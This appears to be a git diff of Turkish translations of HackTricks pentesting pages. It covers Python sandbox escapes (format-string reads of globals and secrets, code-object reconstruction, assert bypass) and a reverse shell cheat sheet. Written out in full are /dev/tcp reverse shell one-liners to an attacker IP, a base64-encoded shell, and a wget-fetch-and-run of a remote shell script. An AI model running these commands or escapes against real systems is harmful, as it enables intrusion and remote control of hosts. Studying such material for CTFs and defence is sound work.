SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
``` ```
## Yinelemeli Arama ile Yerleşik Fonksiyonlar, Global Değişkenler... ## Yinelemeli Builtins, Globals Araması
{% hint style="warning" %} {% hint style="warning" %}
Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesneyi** arıyorsanız, bu betiği kullanarak **o nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.** Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesneyi** arıyorsanız, bu betiği kullanarak **o nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
@ -684,9 +684,9 @@ Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz:
[broken-reference](broken-reference/) [broken-reference](broken-reference/)
{% endcontent-ref %} {% endcontent-ref %}
## Python Biçim Dizesi ## Python Format String
Eğer python'a **biçimlendirilecek bir dize gönderirseniz**, `{}` kullanarak **python iç bilgilerine erişebilirsiniz**. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz. Eğer python'a **biçimlendirilecek bir dize** gönderirseniz, `{}` kullanarak **python iç bilgilerine** erişebilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
{% hint style="info" %} {% hint style="info" %}
Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\ Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\
@ -715,7 +715,7 @@ Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde eri
Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, örneğin `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, örneğin `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Biçim dizelerinden bazı diğer ilginç özellikler, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olasılığıdır: Biçim dizelerinden bazı diğer ilginç özellikler, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **çalıştırma** olasılığıdır, bunu **`!s`**, **`!r`**, **`!a`** ekleyerek yapabilirsiniz:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -731,7 +731,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**Daha fazla örnek** **format** **dizesi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir. **Daha fazla örnek**, **dize** **biçimi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
{% hint style="danger" %} {% hint style="danger" %}
Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin: Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin:
@ -755,12 +755,12 @@ Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar içi
## Python Nesnelerini İnceleme ## Python Nesnelerini İnceleme
{% hint style="info" %} {% hint style="info" %}
Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) **Python bytecode** hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
Bazı CTF'lerde, **bayrağın bulunduğu özel bir fonksiyonun adı** size verilebilir ve bayrağı çıkarmak için **fonksiyonun iç yapısını** görmek zorunda kalabilirsiniz. Bazı CTF'lerde, **bayrağın bulunduğu özel bir fonksiyonun adı** size verilebilir ve bunu çıkarmak için **fonksiyonun iç yapısını** görmek zorunda kalabilirsiniz.
İncelenmesi gereken fonksiyon: İncelemek için verilen fonksiyon:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -782,7 +782,7 @@ dir(get_flag) #Get info tof the function
``` ```
#### globals #### globals
`__globals__` ve `func_globals`(Aynı) Global ortamı elde eder. Örnekte, içe aktarılan bazı modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz: `__globals__` ve `func_globals` (Aynı) Global ortamı elde eder. Örnekte, bazı içe aktarılan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -855,7 +855,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
``` ```
### **Fonksiyonun Ayrıştırılması** ### **Fonksiyonu Ayrıştırma**
```python ```python
import dis import dis
dis.dis(get_flag) dis.dis(get_flag)
@ -883,7 +883,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
Dikkat edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak `LOAD_CONST` değişkenin yüklenme ofsetini söylediği için onları (`get_flag.func_code.co_consts`) tahmin edebilirsiniz. Fark edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) yüklenen değişkenin ofsetini de (`get_flag.func_code.co_consts`) tahmin edebilirsiniz.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -907,8 +907,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Python Derlemesi ## Python Derlemesi
Şimdi, bir fonksiyon hakkında **çalıştıramadığınız bilgileri dökümleyebileceğinizi** varsayalım ama bu fonksiyonu **çalıştırmanız gerekiyor**.\ Şimdi, bir fonksiyon hakkında **çalıştıramadığınız bilgileri dökümleyebileceğinizi** ancak bunu **çalıştırmanız gerektiğini** hayal edelim.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disasemble'ı okuyarak **bayrağı nasıl hesaplayacağınızı bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_). Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disasemble'ı okuyarak **bayrağı nasıl hesaplayacağınızı bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -952,7 +952,7 @@ types.CodeType.__doc__
### Sızdırılan bir fonksiyonu yeniden oluşturma ### Sızdırılan bir fonksiyonu yeniden oluşturma
{% hint style="warning" %} {% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. Bir **gerçek örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırılması gerekecektir. Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırılması gereken şeydir.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -966,10 +966,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
### Savunmaları Atlatma ### Savunmaları Atlatma
Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl yürüteceğinizi** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** yürütebilirsiniz (ve aynısını **`exec`** kullanarak yapabilirdik).\ Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak da yapabilirdik).\
Neyse ki, bazen yerel bir makinede bir **derlenmiş nesne oluşturmak** ve bunu **CTF makinesinde yürütmek** faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için). Neyse, bazen yerel bir makinede bir **derlenmiş nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak yararlı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir işlevi manuel olarak derleyip yürütelim: Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
```python ```python
#Locally #Locally
def read(): def read():
@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda constructor erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.** Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, genellikle doğru bir fonksiyon oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _constructor not accessible in restricted mode_. Bu nedenle, bu fonksiyonu çağırmak için kısıtlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1018,8 +1018,8 @@ f(42)
### Assert ### Assert
Optimizasyonlarla çalıştırılan Python, `-O` parametresi ile **assert** ifadelerini ve **debug** değerine bağlı olarak yapılan herhangi bir kodu kaldıracaktır.\ Optimizasyonlarla çalıştırılan Python, `-O` parametresi ile çalıştırıldığında **assert** ifadelerini ve **debug** değerine bağlı olarak yapılan herhangi bir kodu kaldıracaktır.\
Bu nedenle, aşağıdaki gibi kontroller: Bu nedenle, şu gibi kontroller:
```python ```python
def check_permission(super_user): def check_permission(super_user):
try: try:
@ -1039,20 +1039,20 @@ print(f"\nNot a Super User!!!\n")
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -42,6 +42,8 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
exec >&0 exec >&0
``` ```
### Sembol güvenli kabuk ### Sembol güvenli kabuk
Diğer kabuklarla da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash.
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,24 +54,24 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
``` ```
#### Shell açıklaması #### Shell açıklaması
1. **`bash -i`**: Bu komutun bu kısmı etkileşimli bir (`-i`) Bash kabuğunu başlatır. 1. **`bash -i`**: Bu komutun bu kısmı etkileşimli (`-i`) bir Bash kabuğu başlatır.
2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısa bir notasyondur. 2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısa bir notasyondur.
3. **`/dev/tcp/<SALDIRAN-IP>/<PORT>`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**. 3. **`/dev/tcp/<SALDIRGAN-IP>/<PORT>`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**.
* **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir. * **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir.
4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`) yönlendirir**. 4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`)** yönlendirir.
### Dosyada oluştur ve çalıştır ### Dosyada oluştur ve çalıştır
```bash ```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## İleriye Yönlü Kabuk ## İleriye Dönük Kabuk
Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)** zafiyeti ile uğraşırken, ters kabuk elde etme işlemi iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Bu tür kısıtlı ortamlarda, bir alternatif yaklaşım, kompromize edilmiş sistemle daha etkili etkileşim kurmak için bir PTY (Pseudo Terminal) kabuk oluşturmaktır. Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)** zafiyeti ile uğraşırken, ters kabuk elde etmek ağ savunmaları tarafından engellenebilir, örneğin iptables kuralları veya karmaşık paket filtreleme mekanizmaları. Bu tür kısıtlı ortamlarda, alternatif bir yaklaşım, kompromize edilmiş sistemle daha etkili etkileşim kurmak için bir PTY (Pseudo Terminal) kabuğu oluşturmaktır.
Bu amaçla önerilen araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, bu araç hedef ortamla etkileşimi basitleştirir. Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, hedef ortamla etkileşimi basitleştirir.
Toboggan'ı etkili bir şekilde kullanmak için, hedef sisteminizin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir: Toboggan'ı etkili bir şekilde kullanmak için, hedef sistemin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir:
```python3 ```python3
